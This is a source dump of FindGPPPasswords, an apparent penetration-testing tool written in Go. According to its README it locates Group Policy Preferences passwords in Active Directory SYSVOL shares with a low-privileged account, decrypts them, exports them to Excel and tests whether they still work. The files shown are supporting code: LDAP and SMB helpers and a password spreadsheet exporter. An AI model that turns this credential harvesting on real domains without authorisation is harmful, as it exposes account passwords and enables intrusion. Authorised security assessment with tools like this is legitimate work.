├── .github
├── FUNDING.yml
├── banner.png
├── example.png
├── example_test_credentials.png
└── workflows
│ ├── commit.yaml
│ ├── release.yaml
│ └── auto‐prefix‐issues.yml
├── core
├── config
│ └── config.go
├── logger
│ └── logger.go
├── windows
│ ├── sAMAccountType.go
│ └── UserAccountControl.go
├── utils
│ └── utils.go
├── exporter
│ └── excel.go
├── workers.go
└── crypto
│ └── grouppolicypreferencepasswords.go
├── .gitignore
├── go.mod
├── network
├── dns
│ └── dns.go
└── ldap
│ ├── utils.go
│ ├── sid.go
│ └── ldap.go
├── README.md
├── main.go
└── go.sum
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: TheManticoreProject
4 |
--------------------------------------------------------------------------------
/.github/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/banner.png
--------------------------------------------------------------------------------
/.github/example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/example.png
--------------------------------------------------------------------------------
/.github/example_test_credentials.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TheManticoreProject/FindGPPPasswords/HEAD/.github/example_test_credentials.png
--------------------------------------------------------------------------------
/core/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | type Config struct {
4 | // Credentials
5 | Credentials struct {
6 | Username string
7 | Domain string
8 | Password string
9 | DCIP string
10 | }
11 | // Network
12 | UseLdaps bool
13 | DnsNameServer string
14 | // General
15 | Threads int
16 | OutputDir string
17 | Debug bool
18 | }
19 |
--------------------------------------------------------------------------------
/core/logger/logger.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | import (
4 | "fmt"
5 | "time"
6 | )
7 |
8 | func Info(message string) {
9 | Dateprintf("INFO: %s\n", message)
10 | }
11 |
12 | func Warn(message string) {
13 | Dateprintf("WARN: %s\n", message)
14 | }
15 |
16 | func Debug(message string) {
17 | Dateprintf("DEBUG: %s\n", message)
18 | }
19 |
20 | func Dateprintf(format string, message ...any) {
21 | currentTime := time.Now().Format("2006-01-02 15h04m05s")
22 | format = fmt.Sprintf("[%s] %s", currentTime, format)
23 | fmt.Printf(format, message...)
24 | }
25 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # If you prefer the allow list template instead of the deny list, see community template:
2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
3 | #
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 |
14 | # Output of the go coverage tool, specifically when used with LiteIDE
15 | *.out
16 |
17 | # Dependency directories (remove the comment below to include it)
18 | # vendor/
19 |
20 | # Go workspace file
21 | go.work
22 | go.work.sum
23 |
24 | # env file
25 | .env
26 |
27 | # Builds dir
28 | ./bin/
29 |
--------------------------------------------------------------------------------
/core/windows/sAMAccountType.go:
--------------------------------------------------------------------------------
1 | package windows
2 |
3 | // sAMAccountType Values
4 | // Src: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e742be45-665d-4576-b872-0bc99d1e1fbe
5 | const (
6 | SAM_DOMAIN_OBJECT = 0x00000000
7 | SAM_GROUP_OBJECT = 0x10000000
8 | SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001
9 | SAM_ALIAS_OBJECT = 0x20000000
10 | SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001
11 | SAM_USER_OBJECT = 0x30000000
12 | SAM_MACHINE_ACCOUNT = 0x30000001
13 | SAM_TRUST_ACCOUNT = 0x30000002
14 | SAM_APP_BASIC_GROUP = 0x40000000
15 | SAM_APP_QUERY_GROUP = 0x40000001
16 | )
17 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module FindGPPPasswords
2 |
3 | go 1.22.1
4 |
5 | require (
6 | github.com/go-ldap/ldap/v3 v3.4.10
7 | github.com/jfjallid/go-smb v0.5.7
8 | github.com/p0dalirius/goopts v1.0.0
9 | github.com/xuri/excelize/v2 v2.9.0
10 | github.com/zenazn/pkcs7pad v0.0.0-20170308005700-253a5b1f0e03
11 | )
12 |
13 | require (
14 | github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
15 | github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect
16 | github.com/google/uuid v1.6.0 // indirect
17 | github.com/jfjallid/gofork v1.7.6 // indirect
18 | github.com/jfjallid/gokrb5/v8 v8.4.4 // indirect
19 | github.com/jfjallid/golog v0.3.3 // indirect
20 | github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 // indirect
21 | github.com/richardlehane/mscfb v1.0.4 // indirect
22 | github.com/richardlehane/msoleps v1.0.4 // indirect
23 | github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6 // indirect
24 | github.com/xuri/nfp v0.0.0-20250111060730-82a408b9aa71 // indirect
25 | golang.org/x/crypto v0.32.0 // indirect
26 | golang.org/x/net v0.34.0 // indirect
27 | golang.org/x/text v0.21.0 // indirect
28 | )
29 |
--------------------------------------------------------------------------------
/.github/workflows/commit.yaml:
--------------------------------------------------------------------------------
1 | name: Build on commit
2 |
3 | on:
4 | push:
5 | branches:
6 | - '*'
7 |
8 | jobs:
9 | build:
10 | name: Build Release Assets
11 | runs-on: ubuntu-latest
12 |
13 | strategy:
14 | matrix:
15 | os: [linux, windows, darwin]
16 | arch: [amd64, arm64, 386]
17 | binaryname: [FindGPPPasswords]
18 | # Exclude incompatible couple of GOOS and GOARCH values
19 | exclude:
20 | - os: darwin
21 | arch: 386
22 |
23 | env:
24 | GO111MODULE: 'on'
25 | CGO_ENABLED: '0'
26 |
27 | steps:
28 | - name: Checkout Repository
29 | uses: actions/checkout@v3
30 |
31 | - name: Set up Go
32 | uses: actions/setup-go@v4
33 | with:
34 | go-version: '1.22.1'
35 |
36 | - name: Build Binary
37 | env:
38 | GOOS: ${{ matrix.os }}
39 | GOARCH: ${{ matrix.arch }}
40 | run: |
41 | mkdir -p build
42 | OUTPUT_PATH="../build/${{ matrix.binaryname }}-${{ matrix.os }}-${{ matrix.arch }}"
43 | # Build the binary
44 | go build -ldflags="-s -w" -o $OUTPUT_PATH${{ matrix.os == 'windows' && '.exe' || '' }}
45 |
--------------------------------------------------------------------------------
/core/windows/UserAccountControl.go:
--------------------------------------------------------------------------------
1 | package windows
2 |
3 | // UserAccountControl
4 | // Src: https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties
5 | const (
6 | UAF_SCRIPT = 0x00000001
7 | UAF_ACCOUNT_DISABLED = 0x00000002
8 | UAF_HOMEDIR_REQUIRED = 0x00000008
9 | UAF_LOCKOUT = 0x00000010
10 | UAF_PASSWD_NOTREQD = 0x00000020
11 | UAF_PASSWD_CANT_CHANGE = 0x00000040
12 | UAF_ENCRYPTED_TEXT_PWD_ALLOWED = 0x00000080
13 | UAF_TEMP_DUPLICATE_ACCOUNT = 0x00000100
14 | UAF_NORMAL_ACCOUNT = 0x00000200
15 | UAF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800
16 | UAF_WORKSTATION_TRUST_ACCOUNT = 0x00001000
17 | UAF_SERVER_TRUST_ACCOUNT = 0x00002000
18 | UAF_DONT_EXPIRE_PASSWORD = 0x00010000
19 | UAF_MNS_LOGON_ACCOUNT = 0x00020000
20 | UAF_SMARTCARD_REQUIRED = 0x00040000
21 | UAF_TRUSTED_FOR_DELEGATION = 0x00080000
22 | UAF_NOT_DELEGATED = 0x00100000
23 | UAF_USE_DES_KEY_ONLY = 0x00200000
24 | UAF_DONT_REQ_PREAUTH = 0x00400000
25 | UAF_PASSWORD_EXPIRED = 0x00800000
26 | UAF_TRUSTED_TO_AUTH_FOR_DELEGATION = 0x01000000
27 | UAF_PARTIAL_SECRETS_ACCOUNT = 0x04000000
28 | )
29 |
--------------------------------------------------------------------------------
/network/dns/dns.go:
--------------------------------------------------------------------------------
1 | package dns
2 |
3 | import (
4 | "context"
5 | "net"
6 | "strings"
7 | "time"
8 | )
9 |
10 | // DNSLookup performs a DNS lookup of a hostname (FQDN or hostname) to a specified DNS server.
11 | func DNSLookup(hostname string, dnsServer string) []string {
12 | if !strings.Contains(dnsServer, ":") {
13 | dnsServer = dnsServer + ":53"
14 | }
15 |
16 | r := &net.Resolver{
17 | PreferGo: true,
18 | Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
19 | d := net.Dialer{
20 | Timeout: time.Millisecond * time.Duration(5000),
21 | }
22 | return d.DialContext(ctx, network, dnsServer)
23 | },
24 | }
25 | ip, _ := r.LookupHost(context.Background(), hostname)
26 |
27 | return ip
28 | }
29 |
30 | // // Search for DNS servers in the domain
31 | // dnsServers := ldap.GetDomainDNSServers(ldapSession)
32 | // if len(dnsServers) != 0 {
33 | // if config.Debug {
34 | // if config.Debug {
35 | // logger.Debug(fmt.Sprintf("Found DNS servers (%d):", len(dnsServers)))
36 | // }
37 | // for _, distinguishedName := range dnsServers {
38 | // if config.Debug {
39 | // logger.Debug(fmt.Sprintf("| %s", distinguishedName))
40 | // }
41 | // }
42 | // }
43 | // } else {
44 | // dnsServers = []string{}
45 | // dnsServers = append(dnsServers, ldap.GetPrincipalDomainController(ldapSession, config.Credentials.Domain))
46 | // }
47 |
--------------------------------------------------------------------------------
/.github/workflows/release.yaml:
--------------------------------------------------------------------------------
1 | name: Build and Release
2 |
3 | on:
4 | release:
5 | types: [published]
6 |
7 | jobs:
8 | build:
9 | name: Build Release Assets
10 | runs-on: ubuntu-latest
11 |
12 | strategy:
13 | matrix:
14 | os: [linux, windows, darwin]
15 | arch: [amd64, arm64, 386]
16 | binaryname: [FindGPPPasswords]
17 | # Exclude incompatible couple of GOOS and GOARCH values
18 | exclude:
19 | - os: darwin
20 | arch: 386
21 |
22 | env:
23 | GO111MODULE: 'on'
24 | CGO_ENABLED: '0'
25 |
26 | steps:
27 | - name: Checkout Repository
28 | uses: actions/checkout@v3
29 |
30 | - name: Set up Go
31 | uses: actions/setup-go@v4
32 | with:
33 | go-version: '1.22.1'
34 |
35 | - name: Build Binary
36 | env:
37 | GOOS: ${{ matrix.os }}
38 | GOARCH: ${{ matrix.arch }}
39 | run: |
40 | mkdir -p bin
41 | OUTPUT_PATH="../build/${{ matrix.binaryname }}-${{ matrix.os }}-${{ matrix.arch }}"
42 | # Build the binary
43 | go build -ldflags="-s -w" -o $OUTPUT_PATH${{ matrix.os == 'windows' && '.exe' || '' }}
44 |
45 | - name: Prepare Release Assets
46 | if: ${{ success() }}
47 | run: |
48 | mkdir -p ./release/
49 | cp ./build/${{ matrix.binaryname }}-* ./release/
50 |
51 | - name: Upload the Release binaries
52 | uses: svenstaro/upload-release-action@v2
53 | with:
54 | repo_token: ${{ secrets.GITHUB_TOKEN }}
55 | tag: ${{ github.ref }}
56 | file: ./release/${{ matrix.binaryname }}-*
57 | file_glob: true
58 |
--------------------------------------------------------------------------------
/core/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "bytes"
5 | "encoding/json"
6 | "fmt"
7 | "os"
8 | )
9 |
10 | type JSONString string
11 |
12 | // https://stackoverflow.com/a/53098314
13 |
14 | func (c JSONString) MarshalJSON() ([]byte, error) {
15 | var buf bytes.Buffer
16 | if len(string(c)) == 0 {
17 | buf.WriteString(`null`)
18 | } else {
19 | buf.WriteString(`"` + string(c) + `"`) // add double quation mark as json format required
20 | }
21 | return buf.Bytes(), nil
22 | }
23 |
24 | func (c *JSONString) UnmarshalJSON(in []byte) error {
25 | str := string(in)
26 | if str == `null` {
27 | *c = ""
28 | return nil
29 | }
30 | res := JSONString(str)
31 | if len(res) >= 2 {
32 | res = res[1 : len(res)-1] // remove the wrapped qutation
33 | }
34 | *c = res
35 | return nil
36 | }
37 |
38 | // Files IO
39 |
40 | func WriteJSONToFile(filename string, data interface{}) error {
41 | file, err := os.Create(filename)
42 | if err != nil {
43 | return err
44 | }
45 | defer file.Close()
46 |
47 | encoder := json.NewEncoder(file)
48 | encoder.SetIndent("", " ")
49 | return encoder.Encode(data)
50 | }
51 |
52 | func PadStringRight(input string, padChar string, length int) string {
53 | input += " "
54 | if len(input) < length {
55 | for range length - len(input) {
56 | input += padChar
57 | }
58 | }
59 |
60 | return input
61 | }
62 |
63 | func FormatSize(size uint64) string {
64 | KiB := uint64(1024)
65 | MiB := KiB * 1024
66 | GiB := MiB * 1024
67 |
68 | switch {
69 | case size >= GiB:
70 | return fmt.Sprintf("%.2f GiB", float64(size)/float64(GiB))
71 | case size >= MiB:
72 | return fmt.Sprintf("%.2f MiB", float64(size)/float64(MiB))
73 | case size >= KiB:
74 | return fmt.Sprintf("%.2f KiB", float64(size)/float64(KiB))
75 | default:
76 | return fmt.Sprintf("%d bytes", size)
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/network/ldap/utils.go:
--------------------------------------------------------------------------------
1 | package ldap
2 |
3 | import (
4 | "fmt"
5 | "strconv"
6 | "strings"
7 | "time"
8 | )
9 |
10 | const UnixTimestampStart int64 = 116444736000000000 // Monday, January 1, 1601 12:00:00 AM
11 |
12 | func GetDomainFromDistinguishedName(distinguishedName string) string {
13 | domainParts := strings.Split(distinguishedName, ",")
14 |
15 | domain := ""
16 | for _, part := range domainParts {
17 | if strings.HasPrefix(part, "DC=") {
18 | domain += strings.TrimPrefix(part, "DC=") + "."
19 | }
20 | }
21 |
22 | domain = strings.TrimSuffix(domain, ".")
23 |
24 | return domain
25 | }
26 |
27 | func ConvertLDAPTimeStampToUnixTimeStamp(value string) int64 {
28 | convertedValue := int64(0)
29 |
30 | if len(value) != 0 {
31 | valueInt, err := strconv.ParseInt(value, 10, 64)
32 |
33 | if err != nil {
34 | fmt.Printf("[!] Error converting value to int64: %s\n", err)
35 | return convertedValue
36 | }
37 |
38 | if valueInt < UnixTimestampStart {
39 | // Typically for dates on year 1601
40 | convertedValue = 0
41 | } else {
42 | delta := int64((valueInt - UnixTimestampStart) * 100)
43 | convertedValue = int64(time.Unix(0, delta).Unix())
44 | }
45 | }
46 |
47 | return convertedValue
48 | }
49 |
50 | func ConvertLDAPDurationToSeconds(value string) int64 {
51 | convertedValue := int64(0)
52 |
53 | if len(value) != 0 {
54 | valueInt, err := strconv.ParseInt(value, 10, 64)
55 | if err != nil {
56 | fmt.Printf("[!] Error converting value to int64: %s\n", err)
57 | return convertedValue
58 | }
59 |
60 | if valueInt < 0 {
61 | valueInt = valueInt * int64(-1)
62 | }
63 |
64 | // Convert intervals of 100-nanoseconds to Seconds
65 | convertedValue = valueInt / int64(1e7)
66 | }
67 |
68 | return convertedValue
69 | }
70 |
71 | func ConvertSecondsToLDAPDuration(value int64) string {
72 | convertedValue := fmt.Sprintf("%d", value*int64(1e7))
73 | return convertedValue
74 | }
75 |
76 | func ConvertUnixTimeStampToLDAPTimeStamp(value time.Time) int64 {
77 | ldapvalue := value.Unix() * (1e7)
78 | ldapvalue = ldapvalue + UnixTimestampStart
79 | return int64(ldapvalue)
80 | }
81 |
--------------------------------------------------------------------------------
/network/ldap/sid.go:
--------------------------------------------------------------------------------
1 | package ldap
2 |
3 | import (
4 | "encoding/binary"
5 | "fmt"
6 | "strings"
7 | )
8 |
9 | // ParseSIDFromBytes parses raw bytes representing an SID and returns the SID string
10 | func ParseSIDFromBytes(sidBytes []byte) string {
11 | debug := false
12 |
13 | // Ensure the SID has a valid format
14 | if len(sidBytes) < 8 || sidBytes[0] != 1 {
15 | return ""
16 | }
17 |
18 | // Extract revisionLevel
19 | revisionLevel := int(sidBytes[0])
20 | if debug {
21 | fmt.Printf("revisionLevel = 0x%02x\n", revisionLevel)
22 | fmt.Println(sidBytes[1:])
23 | }
24 | // Extract subAuthorityCount
25 | subAuthorityCount := int(sidBytes[1])
26 | if debug {
27 | fmt.Printf("subAuthorityCount = 0x%02x\n", subAuthorityCount)
28 | fmt.Println(sidBytes[2:])
29 | }
30 |
31 | // Extract identifierAuthority
32 | identifierAuthority := uint64(sidBytes[2+0]) << 40
33 | identifierAuthority |= uint64(sidBytes[2+1]) << 32
34 | identifierAuthority |= uint64(sidBytes[2+2]) << 24
35 | identifierAuthority |= uint64(sidBytes[2+3]) << 16
36 | identifierAuthority |= uint64(sidBytes[2+4]) << 8
37 | identifierAuthority |= uint64(sidBytes[2+5])
38 | if debug {
39 | fmt.Printf("identifierAuthority = 0x%08x\n", identifierAuthority)
40 | fmt.Println(sidBytes[8:])
41 | }
42 |
43 | // Extract subAuthorities
44 | subAuthorities := make([]string, 0)
45 | for k := 0; k < subAuthorityCount-1; k++ {
46 | subAuthority := binary.LittleEndian.Uint32(sidBytes[8+(4*k):])
47 | subAuthorities = append(subAuthorities, fmt.Sprintf("%d", subAuthority))
48 | if debug {
49 | fmt.Printf("subAuthority = 0x%08x\n", subAuthority)
50 | fmt.Println(sidBytes[8+(4*k):])
51 | }
52 | }
53 |
54 | // Parse the relativeIdentifier
55 | relativeIdentifier := binary.LittleEndian.Uint32(sidBytes[8+((subAuthorityCount-1)*4):])
56 | if debug {
57 | fmt.Printf("relativeIdentifier = 0x%08x\n", relativeIdentifier)
58 | fmt.Println(sidBytes[8+((subAuthorityCount-1)*4):])
59 | }
60 |
61 | // Construct the parsed SID
62 | parsedSID := fmt.Sprintf("S-%d-%d-%s-%d", revisionLevel, identifierAuthority, strings.Join(subAuthorities, "-"), relativeIdentifier)
63 |
64 | return parsedSID
65 | }
66 |
--------------------------------------------------------------------------------
/.github/workflows/auto‐prefix‐issues.yml:
--------------------------------------------------------------------------------
1 | name: Auto‑prefix & Label Issues
2 |
3 | on:
4 | issues:
5 | types: [opened, edited]
6 | schedule:
7 | - cron: '0 0 * * *' # every day at midnight UTC
8 |
9 | jobs:
10 | prefix_and_label:
11 | runs-on: ubuntu-latest
12 | steps:
13 | - name: Ensure labels exist, then prefix titles & add labels
14 | uses: actions/github-script@v6
15 | with:
16 | script: |
17 | const owner = context.repo.owner;
18 | const repo = context.repo.repo;
19 |
20 | // 1. Ensure required labels exist
21 | const required = [
22 | { name: 'bug', color: 'd73a4a', description: 'Something isn\'t working' },
23 | { name: 'enhancement', color: 'a2eeef', description: 'New feature or request' }
24 | ];
25 |
26 | // Fetch current labels in the repo
27 | const { data: existingLabels } = await github.rest.issues.listLabelsForRepo({
28 | owner, repo, per_page: 100
29 | });
30 | const existingNames = new Set(existingLabels.map(l => l.name));
31 |
32 | // Create any missing labels
33 | for (const lbl of required) {
34 | if (!existingNames.has(lbl.name)) {
35 | await github.rest.issues.createLabel({
36 | owner,
37 | repo,
38 | name: lbl.name,
39 | color: lbl.color,
40 | description: lbl.description
41 | });
42 | console.log(`Created label "${lbl.name}"`);
43 | }
44 | }
45 |
46 | // 2. Fetch all open issues
47 | const issues = await github.paginate(
48 | github.rest.issues.listForRepo,
49 | { owner, repo, state: 'open', per_page: 100 }
50 | );
51 |
52 | // 3. Keyword sets
53 | const enhancementWords = ["add", "added", "improve", "improved"];
54 | const bugWords = ["bug", "error", "problem", "crash", "failed", "fix", "fixed"];
55 |
56 | // 4. Process each issue
57 | for (const issue of issues) {
58 | const origTitle = issue.title;
59 | const lower = origTitle.toLowerCase();
60 |
61 | // skip if already prefixed
62 | if (/^\[(bug|enhancement)\]/i.test(origTitle)) continue;
63 |
64 | let prefix, labelToAdd;
65 | if (enhancementWords.some(w => lower.includes(w))) {
66 | prefix = "[enhancement]";
67 | labelToAdd = "enhancement";
68 | } else if (bugWords.some(w => lower.includes(w))) {
69 | prefix = "[bug]";
70 | labelToAdd = "bug";
71 | }
72 |
73 | if (prefix) {
74 | // update title
75 | await github.rest.issues.update({
76 | owner, repo, issue_number: issue.number,
77 | title: `${prefix} ${origTitle}`
78 | });
79 | console.log(`Prefixed title of #${issue.number}`);
80 |
81 | // add label
82 | await github.rest.issues.addLabels({
83 | owner, repo, issue_number: issue.number,
84 | labels: [labelToAdd]
85 | });
86 | console.log(`Added label "${labelToAdd}" to #${issue.number}`);
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 |
4 | A cross-platform tool to find and decrypt Group Policy Preferences passwords from the SYSVOL share using low-privileged domain accounts.
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | ## Features
16 |
17 | - [x] Only requires a **low privileges domain user account**.
18 | - [x] Automatically gets the list of all domain controllers from the LDAP.
19 | - [x] Finds all the Group Policy Preferences Passwords present in SYSVOL share on each domain controller.
20 | - [x] Decrypts the passwords and prints them in cleartext.
21 | - [x] Outputs to a Excel file with option `--export-xlsx `.
22 | - [x] Option to test the credentials of the found GPP passwords with the `--test-credentials` option.
23 | - [x] Multi-threaded mode with option `--threads `.
24 |
25 | ## Demonstration
26 |
27 | By default, the tool will only find the GPP passwords and print them in cleartext:
28 |
29 | ```bash
30 | ./FindGPPPasswords-linux-amd64 --domain --username --password
31 | ```
32 |
33 | 
34 |
35 | There is also the possibility to test the credentials of the found GPP passwords with the `--test-credentials` option.
36 |
37 | ```bash
38 | ./FindGPPPasswords-linux-amd64 --test-credentials --domain --username --password
39 | ```
40 |
41 | 
42 |
43 | ## Usage
44 |
45 | ```
46 | $ ./FindGPPPasswords -h
47 | FindGPPPasswords - by Remi GASCOU (Podalirius) @ TheManticoreProject - v1.2
48 |
49 | Usage: FindGPPPasswords [--quiet] [--debug] [--no-colors] [--export-xlsx ] [--test-credentials] --domain --username [--password ] [--hashes ] [--threads ] [--nameserver ] --dc-ip [--ldap-port ] [--use-ldaps]
50 |
51 | -q, --quiet Show no information at all. (default: false)
52 | -d, --debug Debug mode. (default: false)
53 | -nc, --no-colors No colors mode. (default: false)
54 |
55 | Additional Options:
56 | -x, --export-xlsx Path to output Excel file. (default: "")
57 | -tc, --test-credentials Test credentials. (default: false)
58 |
59 | Authentication:
60 | -d, --domain Active Directory domain to authenticate to.
61 | -u, --username User to authenticate as.
62 | -p, --password Password to authenticate with. (default: "")
63 | -H, --hashes NT/LM hashes, format is LMhash:NThash. (default: "")
64 | -T, --threads Number of threads to use. (default: 0)
65 |
66 | DNS Settings:
67 | -ns, --nameserver IP Address of the DNS server to use in the queries. If omitted, it will use the IP of the domain controller specified in the -dc parameter. (default: "")
68 |
69 | LDAP Connection Settings:
70 | -dc, --dc-ip IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, it will use the domain part (FQDN) specified in the identity parameter.
71 | -lp, --ldap-port Port number to connect to LDAP server. (default: 389)
72 | -L, --use-ldaps Use LDAPS instead of LDAP. (default: false)
73 |
74 | ```
75 |
76 | ## Contributing
77 |
78 | Pull requests are welcome. Feel free to open an issue if you want to add other features.
79 |
80 | ## Credits
81 | - [Remi GASCOU (Podalirius)](https://github.com/p0dalirius) for the creation of the [FindGPPPasswords](https://github.com/p0dalirius/FindGPPPasswords) project before transferring it to TheManticoreProject.
--------------------------------------------------------------------------------
/core/exporter/excel.go:
--------------------------------------------------------------------------------
1 | package exporter
2 |
3 | import (
4 | "FindGPPPasswords/core/config"
5 | "FindGPPPasswords/core/crypto"
6 | "FindGPPPasswords/core/logger"
7 | "path"
8 |
9 | "fmt"
10 | "os"
11 | "path/filepath"
12 | "strings"
13 |
14 | "github.com/xuri/excelize/v2"
15 | )
16 |
17 | func GetExcelCellID(rowNumber int, columnNumber int) string {
18 | alphabet := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
19 | columnID := ""
20 |
21 | for columnNumber > 0 {
22 | remainder := columnNumber % 26
23 | if remainder == 0 {
24 | columnID = "Z" + columnID
25 | columnNumber = (columnNumber / 26) - 1
26 | } else {
27 | columnID = string(alphabet[remainder-1]) + columnID
28 | columnNumber = columnNumber / 26
29 | }
30 | }
31 |
32 | return columnID + fmt.Sprintf("%d", rowNumber)
33 | }
34 |
35 | func GenerateExcel(gpppfound crypto.GroupPolicyPreferencePasswordsFound, config config.Config, outputFile string) {
36 | domain := strings.ToUpper(config.Credentials.Domain)
37 |
38 | if len(gpppfound.Entries) != 0 {
39 | pathToFile := path.Join(config.OutputDir, "GroupPolicyPasswords.xlsx")
40 | if len(outputFile) != 0 {
41 | pathToFile = config.OutputDir + outputFile
42 | }
43 |
44 | logger.Info(fmt.Sprintf("| Generating Excel file '%s'", pathToFile))
45 |
46 | // Create dir if not exists
47 | if _, err := os.Stat(pathToFile); os.IsNotExist(err) {
48 | if err := os.MkdirAll(filepath.Dir(pathToFile), 0755); err != nil {
49 | fmt.Println(err)
50 | }
51 | }
52 |
53 | f := excelize.NewFile()
54 |
55 | // Create styles
56 | styleHeader, err := f.NewStyle(
57 | &excelize.Style{
58 | Border: []excelize.Border{
59 | {Type: "left", Color: "000000", Style: 1},
60 | {Type: "top", Color: "000000", Style: 1},
61 | {Type: "bottom", Color: "000000", Style: 1},
62 | {Type: "right", Color: "000000", Style: 1},
63 | },
64 | Fill: excelize.Fill{
65 | Type: "pattern",
66 | Color: []string{"D3D3D3"},
67 | Pattern: 1,
68 | },
69 | Font: &excelize.Font{
70 | Bold: true,
71 | },
72 | },
73 | )
74 | if err != nil {
75 | if config.Debug {
76 | logger.Debug(fmt.Sprintf("Error creating styleHeader: %s", err))
77 | }
78 | }
79 |
80 | styleBorder, err := f.NewStyle(
81 | &excelize.Style{
82 | Border: []excelize.Border{
83 | {Type: "left", Color: "000000", Style: 1},
84 | {Type: "top", Color: "000000", Style: 1},
85 | {Type: "bottom", Color: "000000", Style: 1},
86 | {Type: "right", Color: "000000", Style: 1},
87 | },
88 | },
89 | )
90 | if err != nil {
91 | if config.Debug {
92 | logger.Debug(fmt.Sprintf("Error creating styleBorder: %s", err))
93 | }
94 | }
95 |
96 | // Create a new sheet.
97 | sheetIndex, err := f.NewSheet(domain)
98 | if err != nil {
99 | if config.Debug {
100 | logger.Debug(fmt.Sprintf("Error creating sheet: %s", err))
101 | }
102 | } else {
103 | // Create headers
104 | attributes := []string{"Username", "NewName", "Password", "Path"}
105 | for columnID, attr := range attributes {
106 | f.SetCellValue(domain, GetExcelCellID(1, columnID+1), attr)
107 | f.SetCellStyle(domain, GetExcelCellID(1, columnID+1), GetExcelCellID(1, columnID+1), styleHeader)
108 | }
109 |
110 | rowID := 0
111 | for path, cpasswordentries := range gpppfound.Entries {
112 | columnID := 0
113 | for _, cpasswordentry := range cpasswordentries {
114 | //
115 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.UserName)
116 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder)
117 | columnID += 1
118 |
119 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.NewName)
120 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder)
121 | columnID += 1
122 |
123 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), cpasswordentry.Password)
124 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder)
125 | columnID += 1
126 |
127 | f.SetCellValue(domain, GetExcelCellID(rowID+2, columnID+1), path)
128 | f.SetCellStyle(domain, GetExcelCellID(rowID+2, columnID+1), GetExcelCellID(rowID+2, columnID+1), styleBorder)
129 | columnID += 1
130 | }
131 | rowID += 1
132 | }
133 |
134 | }
135 |
136 | // Set active sheet of the workbook.
137 | f.SetActiveSheet(sheetIndex)
138 | // Save xlsx file by the given path.
139 | if err := f.SaveAs(pathToFile); err != nil {
140 | logger.Warn(fmt.Sprintf("Error saving file '%s': %s", pathToFile, err))
141 | }
142 |
143 | if config.Debug {
144 | logger.Info("| Successfully generated Excel file 'GroupPolicyPasswords.xlsx'")
145 | }
146 | }
147 | }
148 |
--------------------------------------------------------------------------------
/core/workers.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "FindGPPPasswords/core/config"
5 | "FindGPPPasswords/core/crypto"
6 | "FindGPPPasswords/core/logger"
7 | "FindGPPPasswords/network/dns"
8 | "fmt"
9 | "sync"
10 | "time"
11 |
12 | ldapv3 "github.com/go-ldap/ldap/v3"
13 | "github.com/jfjallid/go-smb/smb"
14 | "github.com/jfjallid/go-smb/spnego"
15 | )
16 |
17 | // SMBListFilesRecursivelyAndCallback lists files recursively in a given directory on an SMB share and executes a callback function for each file found.
18 | //
19 | // Parameters:
20 | // - session: an active SMB connection.
21 | // - share: the name of the SMB share to connect to.
22 | // - dir: the directory within the share to start listing files from.
23 | // - callback: a function to be called for each file found. The callback function takes the SMB connection, the share name, and the file path as arguments and returns an error.
24 | //
25 | // Returns:
26 | // - err: an error if any occurs during the process.
27 | //
28 | // The function performs the following steps:
29 | // 1. Connects to the specified SMB share.
30 | // 2. Lists files in the specified directory.
31 | // 3. Recursively explores subdirectories and applies the callback function to each file found.
32 | //
33 | // If the function encounters an error while connecting to the share or listing files, it logs the error and returns it. If access to a directory is denied, it logs the error and continues processing other directories.
34 | func SMBListFilesRecursivelyAndCallback(session *smb.Connection, share string, dir string, callback func(*smb.Connection, string, string) error) (err error) {
35 | DEBUG := false
36 |
37 | // Connect to share
38 | err = session.TreeConnect(share)
39 | if err != nil {
40 | if err == smb.StatusMap[smb.StatusBadNetworkName] {
41 | if DEBUG {
42 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Share %s can not be found!\n", share)
43 | }
44 | return
45 | }
46 | if DEBUG {
47 | fmt.Printf("[SMBListFilesRecursivelyAndCallback] Error: %s\n", err)
48 | }
49 | return
50 | }
51 | defer session.TreeDisconnect(share)
52 |
